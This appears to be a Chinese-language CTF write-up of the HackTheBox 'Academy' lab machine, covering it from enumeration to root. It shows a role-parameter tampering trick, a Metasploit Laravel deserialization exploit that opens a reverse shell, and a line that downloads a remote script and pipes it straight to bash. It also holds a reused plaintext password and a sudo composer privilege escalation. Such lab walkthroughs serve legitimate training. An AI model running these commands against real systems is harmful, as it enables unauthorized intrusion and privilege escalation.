311 字
2 分鐘
HTB-Academy

HackTheBox: Academy Write-up#

Enumeration#

使用Nmap掃描目標開放端口

nmap -sCV 10.10.10.215

目標開放22(ssh)和80(http)端口 academy.htb添加至/etc/hosts,然後訪問網站 http://academy.htb/ 該網站有login.phpregister.php可以註冊並登入

http://academy.htb/login.php

http://academy.htb/register.php

使用dirsearch枚舉目錄

dirsearch -u http://academy.htb/ -i 200 -e php

可以訪問admin.php

http://academy.htb/admin.php

註冊時,使用Burp Suite攔截HTTP請求 將roleid=0roleid=1可以註冊為admin並登入admin.php 登入後可以發現另一個子域名dev-staging-01.academy.htb 訪問dev-staging-01.academy.htb可以發現WEB框架為Laravel,另外還有APP_KEY 可以使用Hacktricks提到的Laravel滲透測試方式

Laravel反序列化RCE

Foothold#

使用metasploit來exploit

msfconsole
use unix/http/laravel_token_unserialize_exec
set APP_KEY {base64}
set RHOSTS {target}
set LHOST {your_ip}
set LPORT {your_port}
exploit -j

Get shell 升級為Full TTY shell

script /dev/null -qc /bin/bash
CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 24 columns 80; reset;

Lateral Movement#

使用linpeas.sh進行枚舉

wget -O - http://{your_ip]}/linpeas.sh | bash

使用者列表 /var/www/html/academy/.env找到DB_PASSWORD DB_PASSWORD也可以用於cry0l1t3 cry0l1t3也是adm群組的成員,可以讀取/var/log

Adm Group

繼續使用linpeas.sh枚舉可以找到mrb3n的password 使用SSH連線

sshpass -p 'mrb3n_Ac@d3my!' ssh mrb3n@academy.htb

Privilege Escalation#

執行sudo -l發現mrb3n可以root身分執行/usr/bin/composer GTFOBins上有利用composer提升權限的方式

[GTFOBins]https://gtfobins.github.io/gtfobins/composer/#sudo

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/bash -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x